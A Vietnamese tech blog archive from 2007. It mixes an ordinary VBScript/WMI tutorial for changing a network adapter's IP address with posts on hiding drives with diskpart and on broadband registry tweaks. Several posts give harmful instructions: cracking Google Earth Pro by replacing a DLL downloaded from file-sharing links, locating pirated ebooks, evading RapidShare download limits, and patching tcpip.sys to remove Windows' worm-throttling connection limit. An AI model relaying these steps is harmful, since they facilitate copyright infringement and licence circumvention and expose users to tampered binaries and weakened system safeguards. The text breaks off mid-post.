Chú ý là khi dùng Option Explicit (tuỳ chọn khai báo tường minh), bạn phải khai báo tất cả biến trong script của mình, gồm cả đối tượng, xâu, mảng, tập hợp, biến cho đoạn mã lỗi… Nghe có vẻ rất rắc rối phức tạp nhưng thực tế chỉ cần chạy một số trang dài, ngay cả khi chạy chương trình gỡ lỗi rungning time, bạn sẽ biết nó hữu ích như thế nào. Cũng chú ý là không cần khai báo biến theo trình tự, chỉ cần nhớ khai báo cho từng biến trước khi dùng là được. Thông thường người ta đặt tất cả khai báo biến vào một phần riêng trên đầu script như chúng ta đã làm ở trên.

Điều khiển lỗi

Bây giờ, chúng ta đã loại bỏ được các lỗi gõ nhầm khi chạy script đã được soát lại, script hoạt động. Nhưng nếu nó không hoạt động thì sao? Ví dụ, chuyện gì sẽ xảy ra nếu chúng ta thay đổi script đi một chút để chạy trên một máy từ xa thay vì máy cục bộ mà trong đó máy từ xa không nằm trên mạng? Một lần nữa lỗi thời gian chạy (tức lỗi xảy ra khi script đang được thực thi, ngược lại với lỗi cú pháp mà VBScript có thể nhận ra khi biên dịch script trước khi chạy nó) sẽ xuất hiện và script sẽ bị ngừng lại, hiển thị một thông báo lỗi tương tự như thông báo chúng ta đã thấy ở trên. Chuyện gì sẽ xảy ra nếu chúng ta viết ra một script để thực hiện một số thao tác? Trong trường hợp này tất nhiên chúng ta không muốn có một lỗi thời gian chạy khiến script phải dừng lại giữa chừng mà ít nhất script cũng phải thực hiện tất cả các thao tác khác đã được xây dựng. Một ví dụ điển hình là script giám sát các thiết lập trên một số máy tính mà không thay đổi các thiết lập đó. Trong trường hợp này bạn sẽ cần xây dựng script chạy liên tục cho dù một hay một số máy bị hư hỏng không chạy được.

Cách đơn giản nhất để kiểm soát các lỗi thời gian chạy là lờ chúng đi khi chúng xuất hiện. Bạn có thể nói với VBScript thực hiện điều này bằng cách thêm lệnh sau vào gần nơi bắt đầu của script, chẳng hạn như ngay sau Option Explicit:
On Error Resume Next
Tất nhiên, bạn còn muốn thực hiện thêm nhiều thứ khác trong kiểm soát lỗi. Ví dụ như kiểm tra sự tồn tại của một điều kiện lỗi thời gian chạy ở một số điểm nào đấy trong script (như ngay sau khi kết nối tới dịch vụ WMI trên một máy từ xa) để xác định xem liệu một hoạt động nào đó script được quy định để thực hiện có thành công hay không. Sau đó, dựa trên kết quả kiểm tra điều kiện lỗi, bạn có thể quyết định script các hoạt động tiếp theo của script. Ví dụ, nếu một lỗi xuất hiện, bạn có thể nhận được thông báo nói rằng: “Computer X not found” (không tìm thấy máy tính X) và sau đó script tiếp tục chạy. Chúng ta sẽ tìm hiểu sâu hơn về kiểm soát lỗi trong một số bài khác, còn bây giờ bạn chỉ cần thêm lệnh trên vào để bỏ qua bất kỳ lỗi thời gian chạy nào xuất hiện.

Dữ liệu đầu vào của người dùng

Sẽ phải làm gì nếu chúng ta muốn mô tả địa chỉ IP mới cho máy khi chạy script thay vì viết mã cho nó vào script dưới dạng 172.16.11.99? Trong trường hợp này chúng ta cần chỉnh sửa script để cho phép cung cấp dữ liệu vào của người dùng khi chạy nó. Thực hiện bằng cách thêm vào các tham số khi chạy script từ dòng lệnh. Ví dụ gõ ChangeIPAddress.vbs 172.16.11.188 sẽ thay đổi địa chỉ IP của bộ điều hợp mạng thành 172.16.11.188… Chúng ta có thể thực hiện như sau:
Option Explicit
On Error Resume Next
Dim objWMIService
Dim objNetAdapter
Dim strComputer
Dim strAddress
Dim arrIPAddress
Dim arrSubnetMask
Dim colNetAdapters
Dim errEnableStatic
If WScript.Arguments.Count = 0 Then
Wscript.Echo "Usage: ChangeIPAddress.vbs new_IP_address"
WScript.Quit
End If
strComputer = "."
strAddress = Wscript.Arguments.Item(0)
arrIPAddress = Array(strAddress)
arrSubnetMask = Array("255.255.255.0")
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set colNetAdapters = objWMIService.ExecQuery("Select * from Win32_NetworkAdapterConfiguration where IPEnabled=TRUE")
For Each objNetAdapter in colNetAdapters
errEnableStatic = objNetAdapter.EnableStatic(arrIPAddress, arrSubnetMask)
Next
Chúng ta hãy phân tích từng phần một. Đầu tiên là khai báo một biến mới:
Dim strAddress
Đây là một biến xâu (string) sẽ chứa tham số (địa chỉ IP) chúng ta mô tả khi chạy script. Tiếp theo là thêm các dòng bên dưới vào sau phần khai báo:
If WScript.Arguments.Count = 0 Then
Wscript.Echo "Usage: ChangeIPAddress.vbs new_IP_address"
WScript.Quit
End If
Các dòng này thực hiện điều gì? Thuộc tính Arguments của đối tượng WScript trả về tập hợp các tham số được mô tả khi chạy script. Phương thức Count trả ra số lượng tham số chúng ta nhập vào và mục đích của phần đoạn mã này là kiểm tra xem liệu chúng ta có quên nhập bất kỳ tham số (số tham số bằng 0) nào không. Nếu có, nó sẽ báo hiệu (hoặc hiển thị) một thông báo nói cho bạn biết cách sử dụng script phù hợp như thế nào và chương trình chạy của script bị ngừng lại hoàn toàn.

Cuối cùng, dòng cũ:
arrIPAddress = Array("172.16.11.93")
nơi chúng ta viết mã cho địa chỉ IP mới theo kiểu gán mảng bây giờ đã được thay thế bằng hai dòng bên dưới:
strAddress = Wscript.Arguments.Item(0)
arrIPAddress = Array(strAddress)
Dòng đầu tiên lấy ra phần tử đầu tiên (phần tử 0) của tập hợp WScript.Arguments và gán nó trở thành biến xâu strAddress. Dòng thứ hai sau đó lấy biến xâu strAddress này và gán nó trở thành phần tử đầu tiên của mảng arrIPAddress.

Hãy xem chuyện gì xảy ra khi chạy script mới này, đầu tiên không mô tả tham số, sau đó là chạy với một tham số:
C:\Documents and Settings\Administrator.DC-1\Desktop>ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . :
IP Address. . . . . . . . . . . . : 172.16.11.31
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 172.16.11.1
C:\Documents and Settings\Administrator.DC-1\Desktop>ChangeIPAddress.vbs
Microsoft (R) Windows Script Host Version 5.6
Copyright (C) Microsoft Corporation 1996-2001. All rights reserved.
Usage: ChangeIPAddress.vbs new_IP_address
C:\Documents and Settings\Administrator.DC-1\Desktop>ChangeIPAddress.vbs 172.16.11.188
Microsoft (R) Windows Script Host Version 5.6
Copyright (C) Microsoft Corporation 1996-2001. All rights reserved.
C:\Documents and Settings\Administrator.DC-1\Desktop>ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . :
IP Address. . . . . . . . . . . . : 172.16.11.188
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 172.16.11.1
Chương trình chạy khá tuyệt!

Kiểm chứng đầu ra

Nếu bạn thấy chán khi phải gõ mãi lệnh ipconfig sau khi chạy script để kiểm tra kết quả, còn một cách khác giúp bạn: sử dụng các dòng như bên dưới:
For Each objNetAdapter in colNetAdapters
errEnableStatic = objNetAdapter.EnableStatic(arrIPAddress, arrSubnetMask)
Next
Mục đích của đoạn mã này là thay đổi địa chỉ IP được gán cho bộ điều hợp mạng, dùng phương thức objNetAdapter.EnableStatic. Nhưng bạn nên chú ý là cần phải có một biến err- (ở đây là errEnableStatic) dùng làm nơi lưu trữ đoạn mã lỗi trả về khi chạy phương thức. Danh sách mã lỗi có thể được trả về từ phương thức EnableStatic của lớp Win32_NetworkAdapterConfiguration bạn có thể tham khảo trên MSDN. Và từ danh sách này chúng ta có thể thấy kết quả trả về bằng 0 nghĩa là thao tác script thực hiện đã thành công (ví dụ như địa chỉ IP của bộ điều hợp đã được thay đổi thành công). Cách đơn giản nhất để kiểm tra là thêm dòng bên dưới vào cuối script:
Wscript.Echo errEnableStatic
Chạy script lại một lần nữa:
C:\Documents and Settings\Administrator.DC-1\Desktop>ChangeIPAddress.vbs 172.16.11.237
Microsoft (R) Windows Script Host Version 5.6
Copyright (C) Microsoft Corporation 1996-2001. All rights reserved.
0
C:\Documents and Settings\Administrator.DC-1\Desktop>ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . :
IP Address. . . . . . . . . . . . : 172.16.11.237
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 172.16.11.1
Chắc chắn như vậy là đủ. Kết quả trả về bằng 0 cho thấy địa chỉ IP đã được thay đổi thành công. Một phương thức hay hơn sẽ hiển thị một thông báo bằng cách thay lệnh báo hiệu lại bằng lệnh sau:
If errEnableStatic=0 Then
Wscript.Echo "Adapter's IP address has been successfully changed to " & strAddress
Else
Wscript.Echo "Changing the adapter's address was not successful. Error code " & errEnableStatic
End If
Thêm các lệnh sau vào cuối script và chạy lại hai lần, một với địa chỉ IP chính xác và một với địa chỉ IP tuỳ ý:
C:\Documents and Settings\Administrator.DC-1\Desktop>ChangeIPAddress.vbs 172.16.11.173
Microsoft (R) Windows Script Host Version 5.6
Copyright (C) Microsoft Corporation 1996-2001. All rights reserved.
Adapter's IP address has been successfully changed to 172.16.11.173
C:\Documents and Settings\Administrator.DC-1\Desktop>ChangeIPAddress.vbs 172.16.11.1492567
Microsoft (R) Windows Script Host Version 5.6
Copyright (C) Microsoft Corporation 1996-2001. All rights reserved.
Changing the adapter's address was not successful. Error code 70
C:\Documents and Settings\Administrator.DC-1\Desktop>
Kết luận

Việc cuối cùng chúng ta cần làm là thêm một vài chú thích vào script để diễn giải cho script. Đây luôn là một ý kiến hay vì có thể một năm sau đọc lại và muốn thay đổi một điểm gì đó trong script, bạn sẽ dễ dàng tìm ra cái mình cần. Đây là script hoàn chỉnh cuối cùng của chúng ta để thay đổi địa chỉ IP bộ điều hợp mạng:
=========================
' NAME: ChangeIPAddress.vbs
'
'AUTHOR: Mitch Tulloch
'DATE: October 2006
'
ARGUMENTS:
'1. new_IP_address
'=========================-
Option Explicit
On Error Resume Next
Dim objWMIService
Dim objNetAdapter
Dim strComputer ' Can specify IP address or hostname or FQDN
Dim strAddress 'Contains the new IP address
Dim arrIPAddress
Dim arrSubnetMask
Dim colNetAdapters
Dim errEnableStatic
'Check for missing arguments
If WScript.Arguments.Count = 0 Then
Wscript.Echo "Usage: ChangeIPAddress.vbs new_IP_address"
WScript.Quit
End If
strComputer = "."
strAddress = Wscript.Arguments.Item(0)
arrIPAddress = Array(strAddress)
arrSubnetMask = Array("255.255.255.0")
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set colNetAdapters = objWMIService.ExecQuery("Select * from Win32_NetworkAdapterConfiguration where IPEnabled=TRUE")
For Each objNetAdapter in colNetAdapters
errEnableStatic = objNetAdapter.EnableStatic(arrIPAddress, arrSubnetMask)
Next
'Display result or error code
If errEnableStatic=0 Then
Wscript.Echo "Adapter's IP address has been successfully changed to " & strAddress
Else
Wscript.Echo "Changing the adapter's address was not successful. Error code " & errEnableStatic
End If

Quantrimang.com

linkpost comment

Ẩn ổ đĩa trên máy tính [May. 3rd, 2007|11:07 pm]
1. Go to Start > run > type "diskpart".
a dos window will appear with following discription.
DISKPART>

2. then type "list volume"

this will look like it

Volume### Ltr Label Fs Type Size Status Info
-------------- ---- ------ --- ----- ---- ------- -----

Volume 0 F DC-ROM
Volume 1 C NTFS Partition 7000MB Healthy
Volume 2 D soft NTFS Partition 8000MB Healthy
Volume 3 E Porn NTFS Partition 8000MB Healthy


3.if u wanna hide drive E then type "select volume 3"

then a message will appear in same winwods { Volume 3 is the selected volume}

4.now type " remove letter E"
now a message will come { Diskpart Removed the Drive letter }
sometime it requires the reboot the computer .

Diskpart will remove the letter .Windows XP is not having capabilty to identify the unkown volume.

Don afraid ur Data will ramin same .
to Come backe the Drive repeat the process . but in 4th step whish is shown in this post replace " remove" to "assign"
i mean type " assign letter E"

No more Looking for that good hiding spot you thing your parents might not find :-D Have Fune Guys

linkpost comment

Ngắm nhìn Nhà Mình Qua Vệ Tinh Trái Đất!, Google Earth Plus Full! [Apr. 27th, 2007|02:59 am]
Trước hết, các bạn down Google Earth Pro 3.0 ở link sau: http://rapidshare.de/files/27276395/Google_Earth_3_PRO.rar http://www.4shared.com/file/2974681/1d69f2ad/google_earth_pro_final_and_a_tutorial_to_make_it_a_perfect_working_pro__full_.html Cách Crack: Các bạn chú ý, phải làm tuyệt đối chính xác như trong hướng dẫn dưới đây để đảm bảo Crack sẽ thành công: 1. Cài đặt Google Earth PRO 3.0. CÀI ĐẶT XONG TUYỆT ĐỐI KHÔNG ĐƯỢC CHẠY NÓ. 2. Tìm đến C:\Program Files\Google\Google Earth Pro\GoogleEarth.exe (theo mặc định). 3. Copy file base.dll (trong phần Crack vừa down về) vào thay thế file base.dll có sẵn trong đó. 4. Copy kh20 vào cùng thư mục đó (Google\Google Earth Pro) 5. Mở C:\Program Files\Google\Google Earth Pro\kvw 6. Copy file default_It.kvw vào đó (cùng chỗ với default_pro.kvw) (KHÔNG XÓA BÂT KÌ FILE NÀO) 7. Chạy lại file Setup, nhưng chọn REPAIR 8. Tốt rồi. Bây giờ có thể khởi động lại máy nếu bạn thấy cần thiết. Với Google Earth Pro 3.0 bạn có thể tạo movies, vẽ thêm những đường nét, và Save hoặc Print với ảnh chất lượng cao (4800 dpi) và sử dụng GPS. Một số hình ảnh Demo: Hình ảnh đã được điều chỉnh kích thước . Kích chuột vào đây để xem hình ảnh rõ nhất . Kích cỡ của hình ảnh là : 927x710 và trọng lượng 745KB Hình ảnh đã được điều chỉnh kích thước . Kích chuột vào đây để xem hình ảnh rõ nhất . Kích cỡ của hình ảnh là : 755x460 và trọng lượng 358KB __________________ Hình ảnh đã được điều chỉnh kích thước . Kích chuột vào đây để xem hình ảnh rõ nhất . Kích cỡ của hình ảnh là : 828x567 và trọng lượng 920KB Hình ảnh đã được điều chỉnh kích thước . Kích chuột vào đây để xem hình ảnh rõ nhất . Kích cỡ của hình ảnh là : 514x562 và trọng lượng 605KB __________________ Hình ảnh đã được điều chỉnh kích thước . Kích chuột vào đây để xem hình ảnh rõ nhất . Kích cỡ của hình ảnh là : 603x564 và trọng lượng 684KB __________________ __________________ Hình ảnh đã được điều chỉnh kích thước . Kích chuột vào đây để xem hình ảnh rõ nhất . Kích cỡ của hình ảnh là : 560x419 và trọng lượng 30KB Hình ảnh đã được điều chỉnh kích thước . Kích chuột vào đây để xem hình ảnh rõ nhất . Kích cỡ của hình ảnh là : 777x695 và trọng lượng 701KB Cái này hay lắm... nhưng đừng vì thế mà , tra tấn người yêu nha.......... tài liệu sưu tầm và kham khảo .... nếu các link trên ko thể dowload đc bạn tìm Google Earth Pro 3.0 ở đâu đó và dowload nhé , đừng hỏi mình cái chuyển nhỏ đó ... Chúc vui vẻ... __________________

linkpost comment

Tìm kiếm trên google [Mar. 25th, 2007|04:42 am]
How to Search for Specific Ebooks With Google
BY: DIzzIE [c]opyleft 2004

 
Just a little tut on how to locate specific ebooks with Google’s help.
 
Step One is to isolate a unique passage or two from the book that will help narrow down your search results. In other words: find one or two relatively unique quotes from the book of moderate lengths (one sentence will usually do). Remember to select a unique quote, as well as more than one, as a backup. The quotes can be gathered through digital or treeware methods:
 
1) Treeware Techniques: Write down a couple quotes from the book at the library, bookstore, friend’s house, or your own copy.
 
2) Digital Techniques:
 
a. Proceed to Amazon and lookup the book. If you’re lucky, the page displaying the book will either have a ‘look inside this book’ link or a ‘search inside this book’ link. In case of the former, simply write down or memorize a quote or two from the available excerpts. If the later, search inside the book for common word like ‘so’ and copy a quote (note that some words like ‘the’ or ‘I’ are filtered and don’t produce results).
 
b. If the book doesn’t have a look/search feature on Amazon, your next bet would be to try the publisher’s website, and from there navigate to the book’s own website wherein you may find a sample chapter or other excerpt available for viewing.
 
c. If the publisher’s page doesn’t have any excerpts, you can try googling for book reviews, which may contain excerpts from the book you’re looking for as well.
 
d. If neither a, b, nor c produce any quotes, you can try googling specifically for quotes. Just do a search for ‘“title of book” quotes’. This is not recommended due to the fact that when you go on to step two, you will have a lot of hits from sites that have the same popular quote, hence the necessity of finding a unique quote via a or b (as a quote from c is usually bound to produce numerous false positives as well).
 
Step Two: Once you have one or two distinct quotes from the book, simply run a search for the quote with quotation marks around the quote itself to produce exact matches. And that’s it .
 
You may also wish to use various Google search operators to narrow down your results. For example, you may only want book results that are in rich text format (rtf), in which case you’d append filetype:rtf to your query. You may also want to only return hits that have the title of the book in their own page title, in which case you’d also add intitle:“title of book” to your search.
 
Now for a few examples outlining the various methodologies that have been discussed herein:
 
Example 1: Straight-forward searching with a unique quote
 
Let’s say the book we’re looking for is TCP/IP Network Administration published by O’Reilly (ISBN: 0596002971). We lookup the book on Amazon, and see that it has a ‘look inside this book’ feature. We click on ‘Excerpt’ and (somewhat arbitrarily) select the first sentence of the second paragraph: “Network administration and system administration are two different jobs”. We then proceed to do a Google search for the sentence: http://www.google.com/search?q=%22network+administration+and+system+administration+are+two+different+jobs%22
Lo and behold we have a successful hit! However, you’ll note that Google also displays the following message: “In order to show you the most relevant results, we have omitted some entries very similar to the 1 already displayed. If you like, you can repeat the search with the omitted results included.” By clicking on ‘repeat the search…’ we find at least three other mirrors of the book as well .
 
Example 2: Using Google search operators & not missing hits
 
This time we’re looking for some fiction, Douglas Adams’ The Hitchhiker’s Guide to the Galaxy (ISBN: 0345391802). After looking up a quote, we run a search for a page that has the title of the book as its own title, and can also come in PDF format. We then try combinations of these searches and see that our results represent a Venn-diagram, in that some pages are displayed using all three search methods, and some are displayed with only with one method. Compare the results of these searches and see the differences for yourself:
 
1) Query: intitle:"Hitchhiker's Guide to the Galaxy" filetype:pdf http://www.google.com/search?hl=en&lr=&safe=off&q=intitle%3A%22Hitchhiker%27s+Guide+to+the+Galaxy%22+filetype%3Apdf
 
2) Query: "the only person for whom the house was" intitle:"Hitchhiker's Guide to the Galaxy" filetype:pdf http://www.google.com/search?hl=en&lr=&safe=off&q=%22the+only+person+for+whom+the+house+was%22+intitle%3A%22Hitchhiker%27s+Guide+to+the+Galaxy%22+filetype%3Apdf
 
3) Query: "the only person for whom the house was" http://www.google.com/search?safe=off&q=%22the+only+person+for+whom+the+house+was%22%22" target="_blank">http://www.google.com/search?safe=off&q=%22the+only+person+for+whom+the+house+was%22</a>
 
Once again, this points out that what originally seemed like a good idea for narrowing down results, can also cause you to miss some hits (for instance note the page titles of some of the sites…).
 
Example 3: Don’t rely on Google
 
Now let's see if we can find Chuck Palahniuk’s Invisible Monsters (ISBN: 0393319296). We found a quote, and did a Google search, but all we’re getting is just excerpts, not the entire book: http://www.google.com/search?&safe=off&q=%22Evie+is+standing+halfway+down+the+big%22 . What we learn from this is to never rely on a single medium. Via usage of other tools such as IRC, BT, or a slew of other P2P programs, we can eventually find the book (or, of course, the book may simply not be available online, but premature defeatism isn’t allowed ).
 
Enjoy!

linkpost comment

Increasing broadband connection [Mar. 16th, 2007|11:04 pm]

Increasing broadband connection

1.Increase bandwidth by tweaking QoS in Windows XP Pro


CODE

The following tweak applies only to Windows XP Professional edition.

The default system behavior is that all 100% bandwidth is available, however, if there is a running application that indicates to the OS it needs to send high priority/real time data, then as long as it has the socket open, Windows XP will restrict “best effort” traffic to 80% of the bandwidth so that high priority traffic can be accommodated. Basically, applications can make this request to the operating system for QoS support using the QoS application programming interfaces (APIs) in Windows and this only applies if a specific app is requesting QoS.

If you'd like to change how much bandwidth is reserved for QoS (the default is 20% of the total bandwidth), do the following:

1. Make sure you're logged in as "Administrator" (not just any account with admin privileges).
2. Navigate to START>Run and type: gpedit.msc
3. Navigate to Local Computer Policy > Administrative Templates > Network > QOS Packet Scheduler
4. In the right window, double-click the limit reservable bandwidth setting
5. On the setting tab, check the enabled setting.
6. Where it says "Bandwidth limit %", change it to read 0 (or whatever percentage you want to reserve for high priority QoS data)
7. Click OK, close gpedit.msc

Under START > My Computer > My Network Connections > View Network Connections, right-click on your connection and under Properties (where it lists your protocols), make sure QOS Packet Scheduler is enabled.



The tweak desribed below helps boost priority for DNS & hostname resolution in general. What this means is, it helps web pages load faster, and has negligible effect on downloads (not counting the couple of ms gain with the host resolution at connect-time).

Applying this tweak assumes some proficiency in editing the Windows Registry using Regedit (Start > Run > type: regedit). As always, backup your Registry before making any changes so you can revert to the previous state if you don't like the results.


[b]2.Host Resolution Priority Tweak[/b]
host name resolution priority
Windows 2k/XP

First, open the Windows Registry using Regedit, and (after backing up) navigate to:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servic es\Tcpip\ServiceProvider



Note the following lines (all hex dwords):
Class = 008 (8) - indicates that TCP/IP is a name service provider, don't change.

LocalPriority = 1f3 (499) - local names cache
HostsPriority = 1f4 (500) - the HOSTS file
DnsPriority = 7d0 (2000) - DNS
NetbtPriority = 7d1 (2001) - NetBT name-resolution, including WINS

What we're aiming to do is increase the priority of the last 4 settings, while keeping their order. The valid range is from -32768 to +32767 and lower numbers mean higher priority compared to other services. What we're aiming at is lower numbers without going to extremes, something like what's shown below should work well:

Change the "Priority" lines to:
LocalPriority = 005 (5) - local names cache
HostsPriority = 006 (6) - the HOSTS file
DnsPriority = 007 (7) - DNS
NetbtPriority = 008 (8) - NetBT name-resolution, including WINS

[b]Windows 9x/ME[/b]

The tweak is essentialy the same as in Windows 2000/XP, just the location in the Registry is slightly different. For a more detailed description see the Windows 2000/XP section above.

Open the Windows Registry using Regedit, and (after backing up) navigate to:
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Servic es\VxD\MSTCP\ServiceProvider

You should see the following settings:
Class=hex:08,00,00,00

LocalPriority=hex:f3,01,00,00
HostsPriority=hex:f4,01,00,00
DnsPriority=hex:d0,07,00,00
NetbtPriority=hex:d1,07,00,00

The "priority" lines should be changed to:
LocalPriority=hex:05,00,00,00
HostsPriority=hex:06,00,00,00
DnsPriority=hex:07,00,00,00
NetbtPriority=hex:08,00,00,00

Reboot for changes to take effect.


In addition to the tweaks already covered in Win 2k/XP Registry Tweaks and More Win 2k/XP Tweaks, the Windows XP Service Pack 2 introduces a few new issues covered in the article below. Please make sure you understand what you are doing before making any changes to your Operating System. Note the information below only applies to Windows XP Service Pack 2.



[b]3.Remove the limit on TCP connection attempts[/b]

Windws XP SP2 introduces a few new twists to TCP/IP in order to babysit users and "reduce the threat" of worms spreading fast without control. In one such attempt, the devs seem to have limited the number of possible TCP connection attempts per second to 10 (from unlimited in SP1). This argumentative feature can possibly affect server and P2P programs that need to open many outbound connections at the same time.

Rant: The forward thinking of Microsoft developers here is that you can only infect 10 new systems per second via TCP/IP ?!?... If you also consider that each of those infected computers will infect 10 others at the same rate:
second 1: 1+10 computers
second 2: 10+10*10 computers (110 new ones)
second 3: 10+100*10 computers ( 1110 new ones)
second 4: 10+1000*10 computers (11110 new ones)
....
all the way to 10*60 + 10^60 computers in a single minute (that's a number with 60 digits, or it would far exceed Earth's population). Even if we consider that 90% of those computers are unreachable/protected, one would still reach ALL of them within a minute.

In other words, even though it is not going to stop worm spreading, it's going to delay it a few seconds, limit possible network congestion a bit, and limit the use of your PC to 10 connection attempts per second in the process ! I have no problem with the new default setting limiting outbound connection attempts. Still, users should have the option to easily disable or change this setting. I might be going out on a limb here, but ever since the introduction of Windows XP I can't help thinking that I dislike all the bult-in Windows "wisardry" in a sense that the system also limits user access. That irritating trend to ease the mental load on end users is somewhat insulting, considering that Windows is to make the more "intelligent" choice instead of the end user, as well as limit their access to tuning such settings...
End of rant.

With the new implementation, if a P2P or some other network program attempts to connect to 100 sites at once, it would only be able to connect to 10 per second, so it would take it 10 seconds to reach all 100. In addition, even though the setting was registry editable in XP SP1, it is now only possible to edit by changing it directly in the system file tcpip.sys. To make matters worse, that file is in use, so you also need to be in Safe mode in order to edit it.

You only need to worry about the number of connection attempts per second if you have noticed a slowdown in network programs requiring a number of connections opened at once. You can check if you're hitting this limit from the Event Viewer, under System - look for TCP/IP Warnings saying: "TCP/IP has reached the security limit imposed on the number of concurrent TCP connect attempts". Keep in mind this is a cap only on incomplete outbound connect attempts per second, not total connections. Still, running servers and P2P programs can definitely be affected by this new limitation. Use the fix as you see fit.

To change or remove the limit, you can use the following program:

Event ID 4226 Patcher v2.11
Code:
[url=http://www.xsharex.info/redirect.php?url=http://www.speedguide.net/files/xp_sp2/EvID4226Patch211a-en.zip]http://www.speedguide.net/files/xp_sp2/EvI...atch211a-en.zip[/url]


- A patching program for removing or changing the limit imposed on connection attempts in SP2. The patcher has the ability to restore tcpip.sys back to the original... Still, you might want to back up tcpip.sys, use it at your own risk. The author of this patch can be reached @ [url=http://www.xsharex.info/redirect.php?url=http://www.lvllord.de/]http://www.lvllord.de/[/url]

[b]4. Recommended settings for Windows 2000 / XP[/b]
Windows 2000 & XP, unlike NT supports large windows as described in RFC1323 ( the 'RcvWindow' has a maximum value of 2**30 rather than 64K), and includes some other improvements over its predecessors you can use to speed up any TCP/IP transfers. , the descriptions and other options are added to provide you with better understanding and enable you to customize your settings.

All the following entries, unless otherwise noted should be placed in the Windows 2000/XP Registry under the key

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servic es\Tcpip\Parameters

TCPWindowSize

The value of TCP Window in the Windows 2000 Registry is DWORD, representing number of bytes, with range from 0 to 2^30. The recommended values (in red) optimize TCP for any high speed Internet connection and work best in most cases, however if you'd like to use a custom value follow these guidelines:

For best results, the TCPWindow should be a multiple of MSS (Maximum Segment Size). MSS is generally MTU - 40, where MTU (Maximum Transmission Unit) is the largest packet size that can be transmitted. MTU is usually 1500 (1492 for PPPoE connections). To determine the MTU value of your ISP, check out the Advanced Registry Editing section of our site.

There are three places in the Windows 2000 Registry where you can add the TCP Window parameter.

HKLM/SYSTEM\CurrentControlSet\Services\Tcpip\Parameters
GlobalMaxTcpWindowSize="256960" (DWORD, number of bytes) Valid range is from MSS to 2^30. Add the value as a decimal. Note: For best results RWIN has to be a multiple of MSS lower than 65535 times a scale factor that's a power of 2, i.e. 44 x 1460 = 64240 x 2^2 = 256960. If you choose to use a RWIN lower than 65535, you can simply make it multiple of MSS and turn scaling off (Tcp1323Opts=0)

HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Param eters
TcpWindowSize="256960" (DWORD, number of bytes) Valid range is from MSS to 2^30. Add the value as a decimal. TcpWindowSize can also exist under TcpipParametersInterface - if added at this location, it overrides the global setting for this particular . Note (10/20/00): Seems MS has found another bug in Windows 2000, the TCPWindowSize should be configured with the global setting (GlobalMaxTcpWindowsSize) rather than this one - Q263088

Note: For best results RWIN has to be a multiple of MSS lower than 65535 times a scale factor that's a power of 2, i.e. 44 x 1460 = 64240 x 2^2 = 256960. If you choose to use a RWIN lower than 65535, you can simply make it multiple of MSS and turn scaling off (Tcp1323Opts=0)

Tcp1323Opts

Tcp1323Opts is a necessary setting in order to enable Large TCPWindow support as described in RFC 1323. Without this parameter, the TCPWindow is limited to 64K.

HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Param eters
Tcp1323Opts="1" (DWORD, recommended setting is 1. The possible settings are 0 - Disable RFC 1323 options, 1 - Window scaling but no Timestamp options, 3 - Window scaling and Time stamp options.)

Note: Tcp1323Opts="3" might help in some cases where there is increased packet loss, however generally you'll achieve better throughput with Tcp1323Opts="1", since Timestamps add 12 bytes to the header of each packet.

DefaultTTL

DefaultTTL determines the time in seconds and the number of hops a packet lives. While it does not directly affect speed, a larger value increases the amount of time it takes for a packet to be considered lost, discarded and retransmitted. A value that's too small can cause packets to be unable to reach distant servers at all.

HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Param eters
DefaultTTL="64" (DWORD, recommended setting is 64. Other settings that are widely used are 128 and 32)

EnablePMTUDiscovery

When set to 1 (True), TCP attempts to discover MTU automatically over the path to a remote host. Setting this parameter to 0 causes MTU to default to 576 which reduces overall performance over high speed connections. Note that this setting is different than our Windows 9x recommendation.

HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Param eters
EnablePMTUDiscovery="1" (DWORD - boolean, valid settings are 0-->False and 1-->True. Many connections perform better with this entry at 1, however, if you prefer to set your upstream to send fixed 1500 packets, you might want to use 0 instead). When set at 1, establishing connections and initial transfer speed might slow down a bit, however you will get better throughput if somewhere in the path large packets need to be fragmented.

EnablePMTUBHDetect

Setting this parameter to 1 (True) enables "black hole" routers to be detected, however it also increases the maximum number of retransmissions for a given segment. In most cases you'd want to keep BHDetect to 0 (False).

HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Param eters
EnablePMTUBHDetect="0" (DWORD - boolean, valid settings are 0-->False and 1-->True. Recommended setting is 0)

SackOpts

This parameter controls whether or not SACK (Selective Acknowledgement) support is enabled, as specified in RFC 2018. SACK is especially important for connections using large TCP Window sizes.

HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Param eters
SackOpts="1" (DWORD - boolean, recommended setting is 1. Possible settings are 0 - No Sack options or 1 - Sack Option enabled).

TcpMaxDupAcks

This parameter determines the number of duplicate ACKs that must be received for the same sequence number of sent data before "fast retransmit" is triggered to resend the segment that has been dropped in transit.

HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Param eters
TcpMaxDupAcks="2" (DWORD - range 1-3, recommended setting is 2).



DL rapidshare without any software!


CODE

Try this out ppl, it works always for MOZILLA and other browsers

1-> Copy ur Rapidshare link [ Right click on link, and select 'Copy Link Location' ]
2 -> Goto

[code]http://www.unipeak.com



3 -> U will find a tab there where u can paste a link, so just place your copied rapidshare link there !

That's it, now dont worry about the Hour Limit, neither the reserve ticket time, and what better, u can also download simultaneously, just follow the same procedure for the different rapidshare links[/code]

another method to cheat rapidshare


CODE

As the topic says this method works fine for me .
first download the program proxyswitcher
Code:

[code]http://rapidshare.de/files/14597697/PSPro_v3.5.3537.rar.html



Then install it. after installtion we will see flash tutorial how to use this program.
it 's very easy to switch the proxies ( just right click ) and you can even download parallelly.[/code]

turn on pc faster


CODE

